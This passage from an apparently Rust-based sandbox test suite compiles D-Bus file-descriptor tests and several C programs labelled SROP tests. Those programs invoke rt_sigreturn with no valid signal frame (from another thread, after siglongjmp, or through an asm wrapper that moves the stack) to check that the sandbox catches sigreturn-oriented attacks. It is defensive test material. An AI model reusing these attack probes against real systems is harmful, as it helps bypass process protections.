g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
g_child_watch_add_full (G_PRIORITY_DEFAULT_IDLE, client_pid, _client_exit_gchild_watch_func, NULL, NULL);
_tmp17_ = g_main_loop_new (NULL, FALSE);
_g_main_loop_unref0 (main_loop);
main_loop = _tmp17_;
struct rlimit _vala_rl = { 256, 256 };
_vala_assert (setrlimit (RLIMIT_NOFILE, &_vala_rl) == 0, "setrlimit (RLIMIT_NOFILE, 256) == 0");
fd = 0;
while (TRUE) {
if (!(fd >= 0)) {
break;
}
fd = open ("/", 0, (mode_t) 0);
}
_tmp18_ = main_loop;
g_main_loop_run (_tmp18_);
_g_variant_unref0 (request_result);
_g_object_unref0 (conn);
}
int
main (int argc,
char ** argv)
{
_vala_main ();
return 0;
}
static void
_vala_array_destroy (gpointer array,
gssize array_length,
GDestroyNotify destroy_func)
{
if ((array != NULL) && (destroy_func != NULL)) {
gssize i;
for (i = 0; i < array_length; i = i + 1) {
if (((gpointer*) array)[i] != NULL) {
destroy_func (((gpointer*) array)[i]);
}
}
}
}
static void
_vala_array_free (gpointer array,
gssize array_length,
GDestroyNotify destroy_func)
{
_vala_array_destroy (array, array_length, destroy_func);
g_free (array);
}
EOF
cat > dbus_fd_errors_client.c <<'EOF'
/* dbus_filedescriptor_errors_client.c generated by valac, the Vala compiler
* generated from dbus_filedescriptor_errors_client.vala, do not modify */
#include <glib-object.h>
#include <gio/gio.h>
#include <gio/gunixoutputstream.h>
#include <stdlib.h>
#include <string.h>
#include <glib.h>
#include <gio/gunixfdlist.h>
#include <gio/gunixinputstream.h>
#include <unistd.h>
#if !defined(VALA_STRICT_C)
#if !defined(__clang__) && defined(__GNUC__) && (__GNUC__ >= 14)
#pragma GCC diagnostic warning "-Wincompatible-pointer-types"
#elif defined(__clang__) && (__clang_major__ >= 16)
#pragma clang diagnostic ignored "-Wincompatible-function-pointer-types"
#pragma clang diagnostic ignored "-Wincompatible-pointer-types"
#endif
#endif
#if !defined(VALA_EXTERN)
#if defined(_MSC_VER)
#define VALA_EXTERN __declspec(dllexport) extern
#elif __GNUC__ >= 4
#define VALA_EXTERN __attribute__((visibility("default"))) extern
#else
#define VALA_EXTERN extern
#endif
#endif
#define TYPE_TEST (test_get_type ())
#define TEST(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), TYPE_TEST, Test))
#define IS_TEST(obj) (G_TYPE_CHECK_INSTANCE_TYPE ((obj), TYPE_TEST))
#define TEST_GET_INTERFACE(obj) (G_TYPE_INSTANCE_GET_INTERFACE ((obj), TYPE_TEST, TestIface))
typedef struct _Test Test;
typedef struct _TestIface TestIface;
#define TYPE_TEST_PROXY (test_proxy_get_type ())
typedef GDBusProxy TestProxy;
typedef GDBusProxyClass TestProxyClass;
#define _g_free0(var) (var = (g_free (var), NULL))
#define _g_object_unref0(var) ((var == NULL) ? NULL : (var = (g_object_unref (var), NULL)))
struct _TestIface {
GTypeInterface parent_iface;
gchar* (*test) (Test* self, GUnixOutputStream* output_stream, GError** error);
};
VALA_EXTERN GType test_proxy_get_type (void) G_GNUC_CONST ;
VALA_EXTERN guint test_register_object (void* object,
GDBusConnection* connection,
const gchar* path,
GError** error);
VALA_EXTERN GType test_get_type (void) G_GNUC_CONST ;
G_DEFINE_AUTOPTR_CLEANUP_FUNC (Test, g_object_unref)
VALA_EXTERN gchar* test_test (Test* self,
GUnixOutputStream* output_stream,
GError** error);
static GType test_get_type_once (void);
static void test_proxy_g_signal (GDBusProxy* proxy,
const gchar* sender_name,
const gchar* signal_name,
GVariant* parameters);
static gchar* test_proxy_test (Test* self,
GUnixOutputStream* output_stream,
GError** error);
static void test_proxy_test_interface_init (TestIface* iface);
static void _dbus_test_test (Test* self,
GVariant* _parameters_,
GDBusMethodInvocation* invocation);
static void test_dbus_interface_method_call (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* method_name,
GVariant* parameters,
GDBusMethodInvocation* invocation,
gpointer user_data);
static GVariant* test_dbus_interface_get_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GError** error,
gpointer user_data);
static gboolean test_dbus_interface_set_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GVariant* value,
GError** error,
gpointer user_data);
static void _test_unregister_object (gpointer user_data);
VALA_EXTERN void create_streams (GUnixInputStream** input,
GUnixOutputStream** output,
GError** error);
static void _vala_main (void);
static const GDBusArgInfo _test_dbus_arg_info_test_output_stream = {-1, "output_stream", "h", NULL};
static const GDBusArgInfo _test_dbus_arg_info_test_result = {-1, "result", "s", NULL};
static const GDBusArgInfo * const _test_dbus_arg_info_test_in[] = {&_test_dbus_arg_info_test_output_stream, NULL};
static const GDBusArgInfo * const _test_dbus_arg_info_test_out[] = {&_test_dbus_arg_info_test_result, NULL};
static const GDBusMethodInfo _test_dbus_method_info_test = {-1, "Test", (GDBusArgInfo **) (&_test_dbus_arg_info_test_in), (GDBusArgInfo **) (&_test_dbus_arg_info_test_out), NULL};
static const GDBusMethodInfo * const _test_dbus_method_info[] = {&_test_dbus_method_info_test, NULL};
static const GDBusSignalInfo * const _test_dbus_signal_info[] = {NULL};
static const GDBusPropertyInfo * const _test_dbus_property_info[] = {NULL};
static const GDBusInterfaceInfo _test_dbus_interface_info = {-1, "org.example.Test", (GDBusMethodInfo **) (&_test_dbus_method_info), (GDBusSignalInfo **) (&_test_dbus_signal_info), (GDBusPropertyInfo **) (&_test_dbus_property_info), NULL};
static const GDBusInterfaceVTable _test_dbus_interface_vtable = {test_dbus_interface_method_call, test_dbus_interface_get_property, test_dbus_interface_set_property};
gchar*
test_test (Test* self,
GUnixOutputStream* output_stream,
GError** error)
{
TestIface* _iface_;
g_return_val_if_fail (IS_TEST (self), NULL);
_iface_ = TEST_GET_INTERFACE (self);
if (_iface_->test) {
return _iface_->test (self, output_stream, error);
}
return NULL;
}
static void
test_default_init (TestIface * iface,
gpointer iface_data)
{
}
static GType
test_get_type_once (void)
{
static const GTypeInfo g_define_type_info = { sizeof (TestIface), (GBaseInitFunc) NULL, (GBaseFinalizeFunc) NULL, (GClassInitFunc) test_default_init, (GClassFinalizeFunc) NULL, NULL, 0, 0, (GInstanceInitFunc) NULL, NULL };
GType test_type_id;
test_type_id = g_type_register_static (G_TYPE_INTERFACE, "Test", &g_define_type_info, 0);
g_type_interface_add_prerequisite (test_type_id, G_TYPE_OBJECT);
g_type_set_qdata (test_type_id, g_quark_from_static_string ("vala-dbus-proxy-type"), (void*) test_proxy_get_type);
g_type_set_qdata (test_type_id, g_quark_from_static_string ("vala-dbus-interface-name"), "org.example.Test");
g_type_set_qdata (test_type_id, g_quark_from_static_string ("vala-dbus-interface-info"), (void*) (&_test_dbus_interface_info));
g_type_set_qdata (test_type_id, g_quark_from_static_string ("vala-dbus-register-object"), (void*) test_register_object);
return test_type_id;
}
GType
test_get_type (void)
{
static volatile gsize test_type_id__once = 0;
if (g_once_init_enter (&test_type_id__once)) {
GType test_type_id;
test_type_id = test_get_type_once ();
g_once_init_leave (&test_type_id__once, test_type_id);
}
return test_type_id__once;
}
G_DEFINE_TYPE_EXTENDED (TestProxy, test_proxy, G_TYPE_DBUS_PROXY, 0, G_IMPLEMENT_INTERFACE (TYPE_TEST, test_proxy_test_interface_init) )
static void
test_proxy_class_init (TestProxyClass* klass)
{
G_DBUS_PROXY_CLASS (klass)->g_signal = test_proxy_g_signal;
}
static void
test_proxy_g_signal (GDBusProxy* proxy,
const gchar* sender_name,
const gchar* signal_name,
GVariant* parameters)
{
}
static void
test_proxy_init (TestProxy* self)
{
g_dbus_proxy_set_interface_info (G_DBUS_PROXY (self), (GDBusInterfaceInfo *) (&_test_dbus_interface_info));
}
static gchar*
test_proxy_test (Test* self,
GUnixOutputStream* output_stream,
GError** error)
{
GUnixFDList* _fd_list;
GDBusMessage *_message;
GVariant *_arguments;
GVariantBuilder _arguments_builder;
GDBusMessage *_reply_message;
gint _fd_index = 0;
gint _fd;
GVariant *_reply;
GVariantIter _reply_iter;
gchar* _result = NULL;
GVariant* _tmp0_;
G_IO_ERROR;
_message = g_dbus_message_new_method_call (g_dbus_proxy_get_name ((GDBusProxy *) self), g_dbus_proxy_get_object_path ((GDBusProxy *) self), "org.example.Test", "Test");
g_variant_builder_init (&_arguments_builder, G_VARIANT_TYPE_TUPLE);
_fd_list = g_unix_fd_list_new ();
g_variant_builder_add (&_arguments_builder, "h", g_unix_fd_list_append (_fd_list, g_unix_output_stream_get_fd (output_stream), NULL));
_arguments = g_variant_builder_end (&_arguments_builder);
g_dbus_message_set_body (_message, _arguments);
g_dbus_message_set_unix_fd_list (_message, _fd_list);
g_object_unref (_fd_list);
_reply_message = g_dbus_connection_send_message_with_reply_sync (g_dbus_proxy_get_connection ((GDBusProxy *) self), _message, G_DBUS_SEND_MESSAGE_FLAGS_NONE, g_dbus_proxy_get_default_timeout ((GDBusProxy *) self), NULL, NULL, error);
g_object_unref (_message);
if (!_reply_message) {
return NULL;
}
if (g_dbus_message_to_gerror (_reply_message, error)) {
g_object_unref (_reply_message);
return NULL;
}
_reply = g_dbus_message_get_body (_reply_message);
g_variant_iter_init (&_reply_iter, _reply);
_tmp0_ = g_variant_iter_next_value (&_reply_iter);
_result = g_variant_dup_string (_tmp0_, NULL);
g_variant_unref (_tmp0_);
g_object_unref (_reply_message);
return _result;
}
static void
test_proxy_test_interface_init (TestIface* iface)
{
iface->test = test_proxy_test;
}
static void
_dbus_test_test (Test* self,
GVariant* _parameters_,
GDBusMethodInvocation* invocation)
{
GUnixFDList* _fd_list;
GError* error = NULL;
GVariantIter _arguments_iter;
gint _fd_index = 0;
gint _fd;
GUnixOutputStream* output_stream = NULL;
GDBusMessage* _reply_message = NULL;
GVariant* _reply;
GVariantBuilder _reply_builder;
gchar* result;
g_variant_iter_init (&_arguments_iter, _parameters_);
_fd_list = g_dbus_message_get_unix_fd_list (g_dbus_method_invocation_get_message (invocation));
if (_fd_list) {
g_variant_iter_next (&_arguments_iter, "h", &_fd_index);
_fd = g_unix_fd_list_get (_fd_list, _fd_index, &error);
if (_fd >= 0) {
output_stream = (GUnixOutputStream *) g_unix_output_stream_new (_fd, TRUE);
}
} else {
g_set_error_literal (&error, G_IO_ERROR, G_IO_ERROR_FAILED, "FD List is NULL");
}
if (error) {
g_dbus_method_invocation_take_error (invocation, error);
goto _error;
}
result = test_test (self, output_stream, &error);
if (error) {
g_dbus_method_invocation_take_error (invocation, error);
goto _error;
}
_reply_message = g_dbus_message_new_method_reply (g_dbus_method_invocation_get_message (invocation));
g_variant_builder_init (&_reply_builder, G_VARIANT_TYPE_TUPLE);
_fd_list = g_unix_fd_list_new ();
g_variant_builder_add_value (&_reply_builder, g_variant_new_string (result));
_g_free0 (result);
_reply = g_variant_builder_end (&_reply_builder);
g_dbus_message_set_body (_reply_message, _reply);
g_dbus_message_set_unix_fd_list (_reply_message, _fd_list);
g_object_unref (_fd_list);
g_dbus_connection_send_message (g_dbus_method_invocation_get_connection (invocation), _reply_message, G_DBUS_SEND_MESSAGE_FLAGS_NONE, NULL, NULL);
g_object_unref (invocation);
g_object_unref (_reply_message);
_error:
_g_object_unref0 (output_stream);
;
}
static void
test_dbus_interface_method_call (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* method_name,
GVariant* parameters,
GDBusMethodInvocation* invocation,
gpointer user_data)
{
gpointer* data;
gpointer object;
data = user_data;
object = data[0];
if (strcmp (method_name, "Test") == 0) {
_dbus_test_test (object, parameters, invocation);
} else {
g_object_unref (invocation);
}
}
static GVariant*
test_dbus_interface_get_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GError** error,
gpointer user_data)
{
gpointer* data;
gpointer object;
data = user_data;
object = data[0];
return NULL;
}
static gboolean
test_dbus_interface_set_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GVariant* value,
GError** error,
gpointer user_data)
{
gpointer* data;
gpointer object;
data = user_data;
object = data[0];
return FALSE;
}
guint
test_register_object (gpointer object,
GDBusConnection* connection,
const gchar* path,
GError** error)
{
guint result;
gpointer *data;
data = g_new (gpointer, 3);
data[0] = g_object_ref (object);
data[1] = g_object_ref (connection);
data[2] = g_strdup (path);
result = g_dbus_connection_register_object (connection, path, (GDBusInterfaceInfo *) (&_test_dbus_interface_info), &_test_dbus_interface_vtable, data, _test_unregister_object, error);
if (!result) {
return 0;
}
return result;
}
static void
_test_unregister_object (gpointer user_data)
{
gpointer* data;
data = user_data;
g_object_unref (data[0]);
g_object_unref (data[1]);
g_free (data[2]);
g_free (data);
}
void
create_streams (GUnixInputStream** input,
GUnixOutputStream** output,
GError** error)
{
GUnixInputStream* _vala_input = NULL;
GUnixOutputStream* _vala_output = NULL;
gint pipefd[2] = {0};
gint _tmp1_;
GUnixInputStream* _tmp2_;
gint _tmp3_;
GUnixOutputStream* _tmp4_;
GError* _inner_error0_ = NULL;
if (pipe (pipefd) < 0) {
GError* _tmp0_;
_tmp0_ = g_error_new_literal (G_IO_ERROR, G_IO_ERROR_FAILED, "Pipe creation failed");
_inner_error0_ = _tmp0_;
if (_inner_error0_->domain == G_IO_ERROR) {
g_propagate_error (error, _inner_error0_);
_g_object_unref0 (_vala_input);
_g_object_unref0 (_vala_output);
return;
} else {
_g_object_unref0 (_vala_input);
_g_object_unref0 (_vala_output);
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
}
_tmp1_ = pipefd[0];
_tmp2_ = (GUnixInputStream*) g_unix_input_stream_new (_tmp1_, TRUE);
_g_object_unref0 (_vala_input);
_vala_input = _tmp2_;
_tmp3_ = pipefd[1];
_tmp4_ = (GUnixOutputStream*) g_unix_output_stream_new (_tmp3_, TRUE);
_g_object_unref0 (_vala_output);
_vala_output = _tmp4_;
if (input) {
*input = _vala_input;
} else {
_g_object_unref0 (_vala_input);
}
if (output) {
*output = _vala_output;
} else {
_g_object_unref0 (_vala_output);
}
}
static void
_vala_main (void)
{
Test* test = NULL;
Test* _tmp0_;
GUnixInputStream* i = NULL;
GUnixOutputStream* o = NULL;
GUnixInputStream* _tmp1_ = NULL;
GUnixOutputStream* _tmp2_ = NULL;
GError* _inner_error0_ = NULL;
_tmp0_ = (Test*) g_initable_new (TYPE_TEST_PROXY, NULL, &_inner_error0_, "g-flags", 0, "g-name", "org.example.Test", "g-bus-type", G_BUS_TYPE_SESSION, "g-object-path", "/org/example/test", "g-interface-name", "org.example.Test", NULL);
test = (Test*) _tmp0_;
if (G_UNLIKELY (_inner_error0_ != NULL)) {
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
create_streams (&_tmp1_, &_tmp2_, &_inner_error0_);
_g_object_unref0 (i);
i = _tmp1_;
_g_object_unref0 (o);
o = _tmp2_;
if (G_UNLIKELY (_inner_error0_ != NULL)) {
_g_object_unref0 (o);
_g_object_unref0 (i);
_g_object_unref0 (test);
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
{
Test* _tmp3_;
GUnixOutputStream* _tmp4_;
gchar* _tmp5_;
gchar* _tmp6_;
_tmp3_ = test;
_tmp4_ = o;
_tmp5_ = test_test (_tmp3_, _tmp4_, &_inner_error0_);
_tmp6_ = _tmp5_;
_g_free0 (_tmp6_);
if (G_UNLIKELY (_inner_error0_ != NULL)) {
goto __catch0_g_error;
}
g_assert_not_reached ();
}
goto __finally0;
__catch0_g_error:
{
g_clear_error (&_inner_error0_);
}
__finally0:
if (G_UNLIKELY (_inner_error0_ != NULL)) {
_g_object_unref0 (o);
_g_object_unref0 (i);
_g_object_unref0 (test);
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
_g_object_unref0 (o);
_g_object_unref0 (i);
_g_object_unref0 (test);
}
int
main (int argc,
char ** argv)
{
_vala_main ();
return 0;
}
EOF
CFLAGS=$(pkg-config --cflags gio-2.0 gio-unix-2.0)
LIBS=$(pkg-config --libs gio-2.0 gio-unix-2.0)
cc -Wall -Wextra $CFLAGS dbus_fd_errors_server.c -o dbus_fd_errors_server $LIBS
cc -Wall -Wextra $CFLAGS dbus_fd_errors_client.c -o dbus_fd_errors_client $LIBS
"##,
)
.status()
.expect("execute sh");
if !status.success() {
eprintln!("Compilation of dbus-fd-errors failed with status: {status}");
false
} else {
true
}
}
fn srop_compile(src: &str, name: &str) -> bool {
let src_name = format!("{name}.c");
std::fs::write(&src_name, src).unwrap();
Command::new("cc")
.args(["-Wall", "-Wextra", "-pthread", "-O2", "-o", name, &src_name])
.status()
.expect("spawn cc")
.success()
}
// C source for SROP cross-thread tests with two modes:
// 0: Use process directed signal with kill(2).
// 1: Use thread directed signal with tgkill(2).
const SROP_CODE_CROSS_THREAD: &str = r#"
#define _GNU_SOURCE
#include <signal.h>
#include <stdatomic.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdlib.h>
static atomic_int handler_active = 0;
static atomic_int ready = 0;
static void handler(int sig) {
(void)sig;
atomic_store(&handler_active, 1);
sleep(10); /* block until process dies */
}
static void *thread_b(void *arg) {
(void)arg;
atomic_store(&ready, 1);
while (!atomic_load(&handler_active))
sched_yield();
// Thread B never received a signal!
syscall(SYS_rt_sigreturn);
return NULL;
}
int main(int argc, char **argv) {
int mode = argc > 1 ? atoi(argv[1]) : 0;
alarm(10);
pthread_t t;
pthread_create(&t, NULL, thread_b, NULL);
while (!atomic_load(&ready))
sched_yield();
struct sigaction sa = { .sa_handler = handler };
sigaction(SIGUSR1, &sa, NULL);
pid_t pid = getpid();
if (mode)
syscall(SYS_tgkill, pid, syscall(SYS_gettid), SIGUSR1);
else
kill(pid, SIGUSR1);
pthread_join(t, NULL);
return 0;
}
"#;
// C source for SROP siglongjmp tests with two modes:
// 0: Use process directed signal with kill(2).
// 1: Use thread directed signal with tgkill(2).
const SROP_CODE_SIGLONGJMP: &str = r#"
#define _GNU_SOURCE
#include <setjmp.h>
#include <signal.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdlib.h>
static sigjmp_buf jmp;
static void handler(int sig) {
(void)sig;
siglongjmp(jmp, 1); /* skip sigreturn */
}
int main(int argc, char **argv) {
int mode = argc > 1 ? atoi(argv[1]) : 0;
alarm(10);
struct sigaction sa = { .sa_handler = handler };
sigaction(SIGUSR1, &sa, NULL);
if (sigsetjmp(jmp, 1) == 0) {
pid_t pid = getpid();
if (mode)
syscall(SYS_tgkill, pid, syscall(SYS_gettid), SIGUSR1);
else
kill(pid, SIGUSR1);
pause();
}
/*
* Arrived here via siglongjmp,
* call stale sigreturn and take over!
*/
usleep(50000);
syscall(SYS_rt_sigreturn);
return 0;
}
"#;
// C source for SROP siglongjmp test with a fat asm rt_sigreturn(2) wrapper.
const SROP_CODE_SIGLONGJMP_ASMWRAP: &str = r#"
#define _GNU_SOURCE
#include <setjmp.h>
#include <signal.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <stdlib.h>
static sigjmp_buf jmp;
static void handler(int sig) {
(void)sig;
siglongjmp(jmp, 1); /* skip sigreturn */
}
int main(void) {
alarm(10);
struct sigaction sa = { .sa_handler = handler };
sigaction(SIGUSR1, &sa, NULL);
if (sigsetjmp(jmp, 1) == 0) {
/* Raise SIGUSR1 via a minimal syscall. */
long pid;
__asm__ __volatile__("syscall"
: "=a"(pid)
: "a"((long)SYS_getpid)
: "rcx", "r11", "memory");
__asm__ __volatile__("syscall"
:
: "a"((long)SYS_kill), "D"(pid), "S"((long)SIGUSR1)
: "rcx", "r11", "memory");
pause();
}
/*
* Arrived here via siglongjmp:
*
* Call sigreturn through a fat asm wrapper so the stack pointer at
* the syscall instruction sits far below the stack pointer sampled
* at signal-delivery-stop and take over!
*/
__asm__ __volatile__(
"sub $0x200, %%rsp\n\t"
"mov %0, %%eax\n\t"
"syscall\n\t"
:
: "i"((int)SYS_rt_sigreturn)
: "rax", "rcx", "r11", "memory");
return 0;
}
"#;
// C source for SROP alternative signal stack test.
const SROP_CODE_ALTSTACK: &str = r#"
#define _GNU_SOURCE
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
static volatile int handled = 0;
static void handler(int sig) {
(void)sig;
handled = 1;
}
int main(void) {
alarm(10);
size_t ss_size = SIGSTKSZ;
void *ss_sp = mmap(NULL, ss_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
if (ss_sp == MAP_FAILED) {
perror("mmap");
return 1;
}
stack_t ss = { .ss_sp = ss_sp, .ss_size = ss_size };
if (sigaltstack(&ss, NULL) != 0) {
perror("sigaltstack");
return 1;
}
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = handler;
sa.sa_flags = SA_ONSTACK;
sigaction(SIGUSR1, &sa, NULL);
raise(SIGUSR1);
if (!handled) {
fprintf(stderr, "signal not handled\n");
return 1;
}
munmap(ss_sp, ss_size);
return 0;
}
"#;
const SROP_CODE_SIGIGN: &str = r#"
#define _GNU_SOURCE
#include <signal.h>
#include <unistd.h>
#include <sys/syscall.h>
int main(void) {
alarm(10);
signal(SIGUSR1, SIG_IGN);
for (int i = 0; i < 100; i++)
raise(SIGUSR1);
syscall(SYS_rt_sigreturn);
return 0;
}
"#;